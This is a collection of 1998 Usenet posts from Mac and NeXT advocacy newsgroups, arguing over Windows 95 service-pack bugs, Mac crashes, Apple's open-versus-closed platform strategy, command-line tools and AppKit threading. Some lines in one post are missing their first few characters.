References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net>
MIME-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
Message-ID: <35edc5e7.0@newsread1.dircon.co.uk>
Date: 2 Sep 1998 23:25:43 -0100
On Wed, 02 Sep 1998 10:18:33 GMT, Dan says...
>blewis wrote in message ...
>
>>> At least they get released. Better late than never, a la Apple.
>>
>>Sure, they may get released, but they are buggy as hell and mostly
>>unusable until the first service pack.
>
>Personal opinion...
>
>
>I don't know anyone that knows what the difference is between Win95 and
>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>single Win95 bug... can you?
Err yeah you do if you read the documents that were with it, there are lots of
bugs in Windows *many* people are aware of, all you need do is look at hotfixes
and sp's and program updates etc of course they're mostly fixed now but there
still are bound to be many out there not fixed. The claim Win95 was unusable
until the first service pack is a bit silly but it's not entirely wrong either.
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: Fri, 04 Sep 1998 09:38:14 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R0409980938140001@merck.com>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6soem6$8a3$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
> In article
> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > On the mac, netscape freezes, I have to restart which takes several
> > minutes, plus I have lost the unread status of articles I have read, plus
> > my letter to grandma is gone. Just having to restart and then redial my
> > isp is a pain
>
> On YOUR Mac. On MY Mac when netscape freezes, I force it to quit, save data
> in all my open apps (for safety) relaunch netscape and continue on my merry
> way.
My experience differs. Any time I've ever force quit an application under
Mac OS, its only been a matter of seconds until either another app puked,
or the whole OS locked up. I don't think I've EVER been able to even
relaunch the crashed app and not have it die again very soon after
relaunch.
But I've heard a lot of people make the claim that they can force quit an
app and continue working problem free. What am I doing wrong? Is there a
special trick to it other than hitting option-command-esc?
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 4 Sep 1998 14:41:09 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <6sou65$7pj$1@cronkite.cs.umd.edu>
References: <B212F253-19875@206.165.43.49>
NNTP-Posting-Date: 4 Sep 1998 14:41:09 GMT
Lawson English (english@primenet.com) wrote:
: Heidi Roizen said:
: >I'm still using Macs as my primary computer. I think Steve is doing a
: >great job, and has made many very smart decisions. I've known Steve a
: >long, long time (for you trivia buffs he owned the source code to
: >WriteNow, which my company T/Maker published in 1986)
^^^^^^^^^^^^^^^^^^^^^^^^
Ohhhhhhhhhhhhhhhh!!!!!!!!!!!!!!!
There come times in one's life when the little synapses finally hook
together. I recall in the back recesses of my mind an interview with the
head of T/Maker in MacWorld, way back in 1984 or thereabouts. And the
only thing I remember from it is that she was female (I kinda remember the
face). I have absolutely no idea why this bit of fact happened to stick
back there in a dusty corner of my brain. Of course, since then I've
seen lots 'o stuff on Heidi. Finally, when I saw this reference,
everything came together as a whole. Very strange experience.
I am one with the universe now.
Sean Luke
seanl@cs.umd.edu
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 4 Sep 1998 14:45:16 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6souds$q1f@newsb.netnews.att.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <6sm7m1$p16$1@supernews.com> <6smevl$mcg@newsb.netnews.att.com> <OGOH1.481$Q9.398535@newsfeed.slurp.net>
Originator: gupta@tlctest
Dan <dan@knowspaam.com> wrote:
>>
>>Here are some of the fixes with service pack 1 (taken from
>>PC Magazine, July 1996 v15 n13 p273)
>
>I was talking about bugs the user has experienced. It's not important if
>it's not effecting you personally.
Well, personally, I use Windows 95 only because I work for a particular
corporation. I had to install Service Pack 1 on Windows 95 because
it is policy to be year 2000 compliant by the end of this year.
Regarding the other bugs, the OLE32 bug hit the Macintosh too, in Office 98,
and was quickly experienced by many Macintosh users. Don't tell me it
didn't hit Windows users.
As to floating point errors, I guess, after running on Pentiums,
Windows users don't particularly worry about them.
-arun gupta
From: aciesar@sgi.net (Aaron Ciesar)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 04 Sep 1998 11:10:43 -0500
Organization: UPMC Stroke Institute
Message-ID: <aciesar-0409981110430001@nsgmacppc8.neuronet.pitt.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6smevl$mcg@newsb.netnews.att.com> <OGOH1.481$Q9.398535@newsfeed.slurp.net>
In article <OGOH1.481$Q9.398535@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
><6smevl$mcg@newsb.netnews.att.com>...
>>Some Microsoft shill wrote :
>>
>>>>> I don't know anyone that knows what the difference is between Win95 and
>>>>> Win95 with service pack 1... nor can 95% of any Win95 user find or name
>a
>>>>> single Win95 bug... can you?
>>
>>Here are some of the fixes with service pack 1 (taken from
>>PC Magazine, July 1996 v15 n13 p273)
>
>I was talking about bugs the user has experienced. It's not important if
>it's not effecting you personally.
>
>Dan
Here is a real simple Win95 bug to find. It is called <drum roll
please...> the year 2000 bug. It requires the download of this patch
"WIN95Y2K.EXE" to fix. The patch updates the WINFILE.EXE and
COMMAND.COM. Here is the URL for info and download.
info = <http://www.microsoft.com/technet/topics/year2k/product/Win95OEM.htm>
download patch = <ftp://ftp.microsoft.com/softlib/mslfiles/WIN95Y2K.EXE>
Enjoy.
--
Aaron Ciesar
Data Manager/Analyst
UPMC Stroke Institute
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 4 Sep 1998 10:15:59 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6sp0b9$gvu1@odie.mcleod.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net>
Balaji Sarpeshkar wrote in message ...
>In article <6snl5a$pk85@odie.mcleod.net>, "Michelle L. Buck"
><buck.erik@mcleod.net> wrote:
>
>>Why discard the 25 years of experience and improvement that have gone into
>>make and other "command line" tools if you never see them anyway. Next
you
>>will tell me you don't like ftp because it is a command line tool. Have
you
>>ever used a GUI ftp application ?
>
>Forgive me for interjecting, but I do use a GUI ftp application: Anarchie,
>by Peter Lewis. After being spoiled by drag-and-drop batch file transfer,
>among other things, I don't really think I could use a command line ftp
>tool.
>
>"Of course, that's just my opinion, I could be wrong." -- Dennis Miller
>
That is my point. You are using ftp from a GUI. That implies that ftp is
useful for you in spite of its command line heritage. If you use make from
a GUI IDE that implies the same thing. Do not discard make because it has a
command line heritage any more than you discard ftp.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 3 Sep 1998 16:09:25 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6smevl$mcg@newsb.netnews.att.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com>
Originator: gupta@tlctest
Some Microsoft shill wrote :
>>> I don't know anyone that knows what the difference is between Win95 and
>>> Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>> single Win95 bug... can you?
Here are some of the fixes with service pack 1 (taken from
PC Magazine, July 1996 v15 n13 p273)
"The OLE32 update fixes a problem that could cause some embarrasment --
or worse -- when you share files created with Wnidows 95 versions of
Microsoft Word, Excel or Powerpoint.....information you thought you
had deleted might still be visible when your file is viewed with another
editor..."
"The shell update, which replaces Shell32.dll,...corrects a problem
that causes files copied onto themselves to be truncated to 0 bytes
under certain conditions."
"The password list update corrects a weakness in the password file
encryption scheme that was exposed when someone posted a decryption
algorithm on the internet..." [the passwords are for network drives, etc.]
"The System Agent update .... replaces Sage.dll. When System Agent 1.0
is running, programs that perform floating-point calculations may be
slightly off in precision. The update corrects this problem."
"The network updates include a variety of fixes, mostly involving security,
that affects users of specific networks."
*****
In addition, as I mentioned before, service pack 1 is required in order
to be Y2K-compliant.
-arun gupta
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net> <9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
<6sld5m$t65$1@holly.prod.itd.earthlink.net> <12FH1.3288$MS.8380359@news.rdc1.sdca.home.com>
<6snqve$4dl$1@fir.prod.itd.earthlink.net>
Message-ID: <RTTH1.3517$MS.8764696@news.rdc1.sdca.home.com>
Date: Fri, 04 Sep 1998 15:42:41 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 08:42:41 PDT
Organization: @Home Network
In <6snqve$4dl$1@fir.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rr6013@yahoo.com wrote:
>
> >See, I don't get this? In the face of reality and the benefit of 20/20
> >dsight, why is it so attractive to commit Apple to the same mistakes over
r
> >gain? What is this a death wish?
>
> Let's see, QuickTime is not "open"
> ColorSync is not "open"
> Java or Win32 API are not "open"
> When SGI was the practically the only company making high-bandwith boxes
with
> fast graphics systems, despite being "locked into" IRIX and MIPS, it was
very
> successful, even though it was very exclusive and expensive.
>
> On the other hand, VRML *is* an "open" standard, yet no one really uses
t. HTML
> *is* an "open" standard yet IE and Communicator are INcompatible in more
ways
> than I care to cite here.
>
> So what is "open" and what gets adopted/popular are too different things.
I absolutely agree. In the general case this is all true. But I was
nding specifically to Windows which allowed MS-DOS to run on any hardware
hat wanted to use it. It was "open" in that sense which allowed a healthy
Third Party Vendor community to fill-in the missing functionality gaps.
The point I was specifically attempting to communicate is that Apple chose
to close their platform to outside Vendors. There wasn't a single slot for
the outside World to even "consider" the proposition of building a business
s with Apple by engineering their products into new markets with
oftware designs.
Flash forward, today... We have iMac on the market. No slots. Marketing
la 1984. And you are singing the praises of "closed" boxes and proprietary
platform strategy. This strategy in a World dominated by MS's open strategy
y has been tried before in "much" more favorable conditions. They lost 80%
of their marketshare, in other words, they failed with a "closed" strategy.
> It's entirely possible to be completely "open" and go bankkrupt, as it is
to be not
> "open" and do very well (Apple in the 80's). A company's ability to screw
things
> up has nothing to do with being "open." It has everything to do with
ng
> products with sufficient distinction and advantage that people are willing
g to
> purchase them. That's the only thing that counts in the end.
>
The distinction and advantage MS leveraged to market dominance was "open"
vs. "closed". The open marketplace was competitive and as such drove prices
s thus costs of computing down. The closed marketplace was oligopolistic
ith protected margins and drove business to the affordable purchasing
ions. The marketplace chose affordable. They chose MS.
I challenge you or anybody else who thinks they are up to the task to table
an argument to the contrary.
> So this "open" bandwagon is just that, a bandwagon.
>
>
Please, please... don't be so quick to dismiss. Don't fall in love with
ur own reflections.
> We'll see what happens to
> Linux, for instance, when the time comes to go mainstream. There are
ady
> fairly severe conflicts within that community as to what stays "open" and
what
> goes "commercial."
>
Some would say that this is a sign of a healthy community...
> Apple is a $6+ billion company. Open source and being just another
er of
> the "open" standards is a losing business proposition.
>
>
It's a new business proposition. No one has built a business template for
making profits off "open" software but Microsoft has benefited in unlimited
ways from open hardware. If you separate the two "open" strategies, that
may simplify the discussion. It remains to be seen whether you can give the
e software business away and make money on closed hardware. Which is the
ox into which those of us advocating "open" source in the newsgroups paint
Apple.
> Apple has to get back to
> a position of strength to be able to set standards as opposed to simply
ollow
> them.
>
>
It may be time to re-examine the wisdom... The critical mass in computing is
s setting standards for industry to follow. Those companies willing to
t-the-market's needs in supporting standards should be rewarded. Strength
is a position which should be measured at the bottomline. Setting standards
s is code for proprietary standard. With the current size of this World
rketplace, open standards are able to achieve critical mass quicker, more
asily ( to wit: WWW, HTML). Insanely great technologies need critical mass
in the marketplace. To the extent that critical mass determines which
hnologies will be standard, the first one there wins.
By Apple putting forth new standards first and opening those standards to
he rest of the hardware community they can win critical mass in the
place. This leadership is not following but is leveraging standards to get
back to a position of strength. Think Different is not license to ignore
the standards and not follow them...
-r
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 4 Sep 1998 16:10:27 GMT
Organization: Primenet (602)416-7000
Message-ID: <6sp3dj$8h2$1@nnrp02.primenet.com>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net>
<6sp0b9$gvu1@odie.mcleod.net>
Michelle L. Buck <buck.erik@mcleod.net> wrote:
: Balaji Sarpeshkar wrote in message ...
: >Forgive me for interjecting, but I do use a GUI ftp application: Anarchie,
: >by Peter Lewis. After being spoiled by drag-and-drop batch file transfer,
: >among other things, I don't really think I could use a command line ftp
: >tool.
: That is my point. You are using ftp from a GUI. That implies that ftp is
: useful for you in spite of its command line heritage. If you use make from
: a GUI IDE that implies the same thing. Do not discard make because it has a
: command line heritage any more than you discard ftp.
I wonder how many people know that the web boils down to a series of text
commands which are sent from your computer to a server:
HEAD /htdocs/index.html HTTP/1.0
GET /htdocs/index.html HTTP/1.0
etc.
Why do people think text is scary? You start to learn it when you are
just a few years old. Or is this some kind of residual fear of learning
the ABCs?
John
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 04 Sep 1998 11:11:43 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F0113F.E73D5D21@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com>
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Sal Denaro wrote:
> Apple's strength is it's ability to use custom hardware to add value to
> it software, and custom software to add value to its hardware. It has
> ignored this potential for the past decade, and Apple is now rediscovering
> it.
>
> This is no different from SGI building hardware to showcase OpenGL, or
> Sun building hardware to better showcase Solaris.
This is pretty much true, to a certain extent. The problem, going
forward, has a number of manifestations. For one, custom solutions don't
seem nearly as desirable to the market in general as they used to be.
Once upon a time, it might have made sense for Apple to push custom
solutions as the best solutions, and they surely ignored this. They
cannot now switch, however, because the demand for custom solutions of
the type Apple could deliver has diminished significantly in the push
for off-the-shelf solutions.
Secondly, the types of custom solutions SGI and Sun traditionally pushed
*needed* to be customized because of the technical nature of the
solutions. In SGI's case, technical expertise in the field of computer
graphics coupled with expensive but highly effective hardware and
software components were needed as the primary focus for the market it
served. Even SGI couldn't do it alone: Evans & Sutherland, for instance,
was a key partner in building the CGI dynasty SGI once owned.
Nowadays, obviously, the "custom" solution has been generalized by
falling prices and increasing interoperability. Just about any
integrator can build a fast, cheap, effective NT-based CGI solution from
off-the-shelf parts. Custom solutions from SGI are still in some demand,
but that demand is falling rapidly, as evidenced by SGI's decision to
bridge to the Windows NT platform.
In summary, it makes little sense for Apple to jump into "custom
solutions" just when that approach is falling by the wayside. History is
cyclical, and this approach may be made desirable again someday with the
introduction of some technology, but the timing is wrong at this point.
Furthermore, going the "custom" route is risky and fraught with
pitfalls. NeXT found this out the hard way. You could argue that Be is
similarly seeing some difficulty in this area.
> And Apple has separate hardware, OS Software and tool groups. Why
> is the Sun or SGI setup different?
From my perspective, it's mostly because the separate groups have been
given much greater autonomy and been allowed to differentiate themselves
in greater ways. When Silicon Graphics developed OpenGL, it was
developed for the sake of a portable 3D graphics platform. When Apple's
software divisions developed QuickDraw GX, it was developed as an
Apple-only technology. Similarly, Apple's OS divisions have never been
allowed to ship a MacOS for Intel, even though Solaris is developed for
Intel and Java is developed for everything.
In many key ways, Apple's "separate divisions" have never really been
separate in anything but the org charts.
> >Apple has...what? A diminishing line of consumer machines and
>
> Not true, the iMac is selling very well and Apple's share of sales
> has grown for the past two quarters.
All true, and encouraging, but it hardly makes a dent in the big
picture. Apple's share of things *is* diminishing and its profits (and
margins) are declining. Just as Amelio's single quarter of profit has
been pooh-poohed, I would say that Jobs' shipment of G3 Macintoshes owes
little to any kind of comeback. Analysts had been saying for years that
1997 would yield returns for Apple because of original PowerMac-owner
upgrades, and in fact, Apple did not match most estimates. In other
words, it looks like Apple actually underperformed as a function of its
own customer base.
All of this is simply to say that these short-term returns are anything
but an answer to the question regarding Apple's survivability,
especially as fewer and fewer Apple customers see Apple's "survival" as
the prime motivating factor.
> >operating system of diminishing importance. They *also* have a new
> >acquisition with the potential to drive their technology to great
> >heights and a name brand that could be leveraged to build
> >industry-standard products.
>
> You can also say the same for Sun and SGI. (Java and OpenGL) Why doesn't
> anyone expect them to pick only hardware or only software?
All of sudden? On a dime? That would be ridiculous. Nobody is suggesting
that Apple give up hardware in one quarter, or even in one year. And
besides, it is clear that both Sun and SGI are leveraging their hardware
to increase software sales, even on other platforms. Apple, on the other
hand, is leveraging software to sell hardware. It is a totally
different, and in my opinion a fundamentally flawed, approach.
> >Careful observers may note that these assets lie almost exclusively in
> >the software domain.
>
> Careful observers once claimed that the only thing holding NeXT back
> was it's hardware business. Careful observers once thought the world
> was flat.
Do these assets (the ones I mentioned) lie in the software domain or
not? I don't think you can get around this question, try as you might.
> >Huh? Suppose I sell consumer stereo systems. Have I become a replacable
> >and boring vassal of musicians and talk radio hosts?
>
> If there was one Music publisher that controlled 90%+ of all music sold, yes.
You're entitled.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: RDF watch
Date: 4 Sep 1998 16:06:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sp35f$q9v@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.techweb.com/wire/apple/mactales.html
"One Planet, Two Worlds" by Randy Whitted,
comparing two Steves, Jobs and Balmer, is worth a look.
-arun gupta
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 4 Sep 1998 16:52:46 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6sp5su$pgv$1@news.spacelab.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <6smt8o$n2s$1@news.spacelab.net>,
> "Charles W. Swiger" <chuck@codefab.com> wrote:
>> Each window does get the opportunity to handle its own events as a normal
>> part of the responder chain under YB. I strongly do not agree that the YB
>> should force every window to have a seperate thead. YB should support that
>> design if a developer wishes to do so, of course, but that's not the same
>> thing.
>
> Why not? What is the down side of having a thread for every window?
There is a performance hit when multithreading is enabled which can be significant
because of mutex overhead. Multithreading also increases the processes' resource
utilization (seperate stacks per thread, et al).
> The obvious upside is a better user experience and having a single way of writing
> event management code.
There should be a single way of writing event management code that works for both
threaded and non-threaded applications. And it is not the case that user experience is
always better in multithreaded applications-- it depends on the specific app in
question.
>> If you consult the RDR2 release notes about thread support, you'll discover
>> that there is a lot more support for multithreaded applications and having
>> individual drawing contexts per thread under Rhapsody. While they still have
>> more work to do, it's clear that they mean to provide strong Appkit support
>> for the BeOS-like paradigm of "every window has a thread"....
>
>I didn't draw the same conclusion that you did. Apple can easily make it
>easier to write applications which have a thread for each window without
>providing direct Appkit support. All would they have to do is deal with the
>reentrancy issues and let the application do the rest of the work.
Where else would reentrancy matter more than in the Appkit, which is the most relevant
framework for dealing with event management code, windows, views, scrolling, et al?
Writing a multithreaded YB app using the Appkit is much easier if the Appkit is
thread-safe.
> I would rather that they did add Appkit support but it doesn't seem like a given
> to me. Of course, unless there is a downside that I don't see, I would rather
> that the Appkit is designed to favor applications which have a thread for
> each window.
The Appkit should not enforce a design decision like multithreading. The Appkit should
support both single- and multithreaded apps as far as possible, not favor one paradigm
over the other.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 04 Sep 1998 09:56:44 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0409980956440001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com> <rmcassid-0209981617230001@hephaestus.eng.uci.edu> <bipH1.3251$MS.7935707@news.rdc1.sdca.home.com>
In article <bipH1.3251$MS.7935707@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>Really weak business case, IMHO. Faster - better is chest thumping when
>le is crawling back into the market. The Wintel solution has been chosen by
> a large majority of "idiots", so I doubt that you're going to win them over
> now you've called them names :-) It's really elitist to think these people
> idiots to jump away from your hardware platform preference.
Fair enough. A combined Apple/Adobe would allow for a very integrated,
intersupported solution much like MS has in the office productivity space.
It's hardly a hardware issue. Let me rephrase the question:
How many people in the content creation/publishing market would buy Apple
hardware if MS bought Adobe? Would they be wise to do so?
>As for MS coming up with compelling solutions to challenge Apple?
>y, they have FAR, FAR better intelligence in the markets than Apple. They
>re FAR, FAR better at implementing solutions in vertical industries. And MS
> is FAR, FAR better at giving people the freedom to choose.
In some markets, you are correct. But MS has not figured out markets like
publishing yet.
-Bob Cassidy
Date: Fri, 04 Sep 1998 13:14:14 -0400
From: bsarpNOSPAM@pgh.nauticom.net (Balaji Sarpeshkar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <bsarpNOSPAM-0409981314150001@96.net10.nauticom.net>
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com>
In article <6sp3dj$8h2$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
>
>: Balaji Sarpeshkar wrote in message ...
>
>: >Forgive me for interjecting, but I do use a GUI ftp application: Anarchie,
>: >by Peter Lewis. After being spoiled by drag-and-drop batch file transfer,
>: >among other things, I don't really think I could use a command line ftp
>: >tool.
>
>: That is my point. You are using ftp from a GUI. That implies that ftp is
>: useful for you in spite of its command line heritage. If you use make from
>: a GUI IDE that implies the same thing. Do not discard make because it has a
>: command line heritage any more than you discard ftp.
>
>I wonder how many people know that the web boils down to a series of text
>commands which are sent from your computer to a server:
>
> HEAD /htdocs/index.html HTTP/1.0
>
> GET /htdocs/index.html HTTP/1.0
>
> etc.
>
>Why do people think text is scary? You start to learn it when you are
>just a few years old. Or is this some kind of residual fear of learning
>the ABCs?
>
>John
I can't speak for most people, but text has never scared me ;) After all,
I am a programmer. I've programmed in CodeWarrior on a Mac, on Windows,
and in vi on a UNIX server (makefiles and all). I'm no expert, but as I've
used both GUI and command line tools, I believe I'm justified in stating a
preference.
--
Balaji Sarpeshkar
bsarpNOSPAM@pgh.nauticom.net
(remove "NOSPAM" to reply)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
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<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<EyqADA.654@T-FCN.Net> <6snolt$k6i1@odie.mcleod.net>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 17:04:38 GMT
In <6snolt$k6i1@odie.mcleod.net> "Michelle L. Buck" wrote:
> This is the second time I have had to type this. Windows 95 crashed while
> typing the first time!
Only once? :-)
> When a user clicks on a scroll bar control in an Application Kit based app,
> the scroll bar control enters a modal loop stealing all events until the
> following mouse up. The application is not blocked. It is consuming all
> kinds of events and using CPU time. Many controls in the AppKit start
modal
> event consuming loops upon mouse down. They call the following
I think the issue here is that this could be made better.
> NeXT should have used the always available -mouseDragged: method of
> NSResponder instead. By stealing events "out of band" during scrolling,
> events such as timer events that would have caused animation or whatever
are
> consumed and all non scroll related work stops. Using -mouseDragged:
> instead would have avoided this.
Ok, why didn't they do this then? Is this something we should lobby for?
Maury
